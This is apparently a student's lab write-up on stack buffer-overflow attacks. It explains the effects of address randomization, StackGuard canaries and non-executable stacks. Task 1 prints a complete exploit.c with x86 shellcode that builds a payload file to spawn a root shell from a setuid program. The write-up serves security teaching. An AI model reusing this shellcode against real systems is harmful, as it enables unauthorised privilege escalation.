Problem Set 3

Joe Puccio

November 12, 2015

Prelude

So it seems like the typical Stack protection scheme is implemented using canaries or bounds checking. Why is it that we need a 32 bit number for the pushl statement (line three)? Didn't know about setting a program to execute as root, looks like doing chmod 4755 [name] achieves this. Cool.

Task 1

This is my exploit.c code that successfully spawns a root shell.

```
/* exploit.c  */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"              /* xorl    %eax,%eax              */
    "\x50"                  /* pushl   %eax                   */
    "\x68""//sh"            /* pushl   $0x68732f2f            */
    "\x68""/bin"            /* pushl   $0x6e69622f            */
    "\x89\xe3"              /* movl    %esp,%ebx              */
    "\x50"                  /* pushl   %eax                   */
    "\x53"                  /* pushl   %ebx                   */
    "\x89\xe1"              /* movl    %esp,%ecx              */
    "\x99"                  /* cdq                            */
    "\xb0\x0b"              /* movb    $0x0b,%al              */
    "\xcd\x80"              /* int     $0x80                  */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer+12, &shellcode);
```

```
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

Honestly, I have no idea why this code is working, as there's no manual rewrite of the return address to point to the start of our buffer. Putting the shellcode 12 bytes into the buffer also seems necessary for this attack to work, as changing it to 11 or 13 results in a segfault. What should happen is that we should stick all of our shellcode into the buffer, don't stop what you're inserting into t the buffer there, but overflow it with NOPs until it extends down to a memory address we know to be the return memory address, and then replace that memory address with the memory address of the start of the buffer, which is actually our shell code, so that the CPU will change the instruction pointer to point to our shell code instead of the line where the "bof()" routine was called, which will thus execute our shell code. We can increase the target of this spoofed return address by front-filling the buffer with NOPs and then inserting the shell code, called a NOP slide, so that even if we don't hit our shell code on the nose with our spoofed return address, we could hit somewhere in the NOP zone, which will end up sliding the instruction pointer downstream to our shell code anyway. Of course, our ability to do this depends on how many parameters there are between the buffer we're overflowing and the return of the routine, because we may not have much room to fit the NOPs.

Task 2

Yes, even with randomization turned on, this attack can achieve a shell, which is curious, and likely because my attack does not have any hardcoded addresses in it, just assumes constant offsets. Address space randomization would make the conventional attack described above difficult because the conventional method requires a hardcoding of the address the shellcode gets placed on every run, which means the attack relies on the location of the buffer you're overflowing being at the same place in memory every time (or at least twice in a row: assuming you can modify and execute the code you're exploiting as we can here, once when you're printing out the memory address of the buffer, and on the next run when you've hardcoded that memory address into the exploit to override the routine's return address). With address space randomization, even having the ability to print out some debugging information in the victim file, such as what I did to examine the address:

```
char buffer[24];
char *p = &buffer[0];
char **pp = &p;
printf("%p",pp);
```

knowing the address location of the start of the buffer on one run, and therefore knowing the address of the shellcode that you've placed in said buffer on one run, does not guarantee knowledge of the address of the buffer in any subsequent run. Now, you can attempt to combat this (if you call brute force guessing combatting), by attempting to run the exploitable file many times with a chosen address you think likely to end up being the start address of the buffer (or again, somewhere in a sea of front-loaded NOPs), but if the address randomization space is very large, then this can be very unfeasible as perhaps at best only a few hundred addresses would work (in the best case, but in our case really only a few would work), when in fact there are many millions of addresses. One way possible to attempt to increase your odds would be to attempt to fill up the memory of the victim system (if you can find a way) in order to limit the address space it has to choose from. However, this may be infeasible if the system is using virtual memory addressing to point to the hard disk, in which case an attempt potentially could be made to fill-up the disk, but there's probably a lot more disk to fill.

Task 3

With stackguard on, this exploit is not able to get a root shell. Instead of returning the shell, the output is:

```
*** stack smashing detected ***: ./stackWithGuard terminated
Segmentation fault (core dumped)
```

Now, the stack protector is probably implementing something like canaries or bounds checking to do its job of trying to prevent buffer overflow attacks. A canary is a random chunk of memory (generated randomly on each run, otherwise the attacker could easily spoof the canary too) that's inserted into the stack somewhere between the parameters and the return addresses in a stack frame. The canary that had been inserted is stored in some difficult to find location elsewhere in memory, and on run time the canary in the stack is checked against its original value to see if it had been modified (presumably by a malicious buffer overflow), and if so, execution ceases immediately. Bounds checking I believe would be similar, where the memory bounds of each of the parameters/everything that's been allocated are stored somewhere "offsite" in a difficult to find area in memory, and then on run time these old bounds are compared to the run time bounds, which, if different, would cause execution to cease in case the bounds change was due to a malicious hax0r.

Task 4

With the "noexecstack" flag, my exploit does not achieve a shell. Instead, it simply seg faults with no explanation. What this non-executable stack flag does, is probably checks to see if the instruction that's about to be executed (that is, whatever is in the instruction pointer register) to see if it's in the range of the memory address of the existing stack. This is a good protection because it under most normal circumstances, code that is on the stack should not be executed, especially considering the security concerns with doing so (because user-defined memory is sitting on the stack). The currently executing program code is sitting somewhere else, likely very distant from the stack, in memory, and only that code should be allowed to be executed. Of course, there are ways of exploiting buffer overflows without executing code that's sitting on the stack, such as pointing to a particular address in memory where some standard libraries often sit in such a particular way that a shell is spawned. Very tricksy!